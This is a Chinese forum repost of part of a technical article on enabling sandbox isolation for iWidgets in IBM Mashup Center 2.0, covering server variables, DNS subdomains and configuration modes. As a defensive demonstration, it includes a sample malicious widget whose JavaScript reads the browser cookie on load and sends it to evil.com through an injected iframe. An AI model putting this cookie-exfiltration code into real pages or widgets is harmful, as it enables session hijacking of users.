首页 | 新闻 | 新品 | 文库 | 方案 | 视频 | 下载 | 商城 | 开发板 | 数据中心 | 座谈新版 | 培训 | 工具 | 博客 | 论坛 | 百科 | GEC | 活动 | 主题月 | 电子展
返回列表 回复 发帖

利用 OpenAjax 在 IBM Mashup Center 中提高 iWidget 的安全性(3)

利用 OpenAjax 在 IBM Mashup Center 中提高 iWidget 的安全性(3)

IBM Mashup Center 2.0 中对 Sandbox 的支持环境配置为了在 IBM Mashup Center 中使用 Sandbox,用户需要配置按照图 5 和图 6 在 WAS Admin Console 中配置 sandboxenabled, subdomainreuse, subdomains 几个变量。
图 5. IBM Mashup Center 环境配置(Sandboxenabled, subdomainreuse)图 6. IBM Mashup Center 环境配置(subdomains)然后对 DNS 服务器进行配置,使 w0.tiansh.dyn.webahead.ibm.com,w1.tiansh.dyn.webahead.ibm.com 等的子域名都指向服务器 tiansh.dyn.webahead.ibm.com。
对 iWidget 启用 Sandbox在 IBM Mashup Center 2.0 中对一个 iWidget 启用 Sandbox 有两种配置方式。一种是系统级别的配置。在这种配置下,iWidget 永远只能以 Sandbox 模式运行。另一种是用户级别的,这种模式允许用户对一个 iWidget 在 Sandbox 和非 Sandbox 模式下进行切换。
实例分析作为演示 IBM Mashup Center 中 Sandbox 在 Mashup 应用中起到的作用,我们使用一个带有恶意脚本的 iWidget,分别把它放在 Sandbox 下和非 Sandbox 下运行,看看测试结果。改 iWidget 会访问浏览器的 cookie 并将 cookie 通过动态标签的方式发送到远端的服务器上。
iWidget 定义文件如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<iw:iwidget name="unsecured iWidget"
    xmlns:iw="http://www.ibm.com/xmlns/prod/iWidget"
    iScope="my.unsecuredWidget"
    allowInstanceContent="true"
    supportedModes="view"
    mode="view"
    lang="en">

    <iw:resource uri="unsecured.js"/>
    <iw:content mode="view">
        <![CDATA[
            <h2>Cookie</h2>
                <div id="_IWID_cookie"></div>
                <h2>Domain</h2>
                <div id="_IWID_domain"></div>
        ]]>
    </iw:content>
</iw:iwidget>




对应 JavaScript 脚本文件定义如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dojo.declare("my.unsecuredWidget", null, {
    onLoad: function() {
        var cookie = document.cookie;
        this.sendCookie(cookie);
         
        var idPrefix = "_" + this.iContext.widgetId + "_";
        this.iContext.getElementById(idPrefix + "cookie").innerHTML = cookie;
        this.iContext.getElementById(idPrefix + "domain").innerHTML = location.host;
    },
        sendCookie: function(cookieInfo) {
        dojo.create("<IFRAME>", {
        src: "http://evil.com?cookie=" + cookieInfo
    });
    }
});




把 Widget 打包部署到 Mashup 上,如下图所示:
图 7. 未启用 Sandbox 时,widget 可以获得整个应用程序的 cookie未启用 Sandbox 状态下取得的浏览器 cookie。注意,该 cookie 运行于与 Mashup 应用相同的域名 tiansh.dyn.webahead.ibm.com:9080 下。
启用 Sandbox 后,如图所示:
图 8. 启用 Sandbox 后,widget 无法获得应用程序的 cookie此时,改 Widget 获取的 Cookie 与上图中的 cookie 明显差异很大,而恶意脚本运行在 w0.tiansh.dyn.webahead.ibm.com:9080 下。即该 cookie 不是 Mashup 应用所在页面的 cookie。
返回列表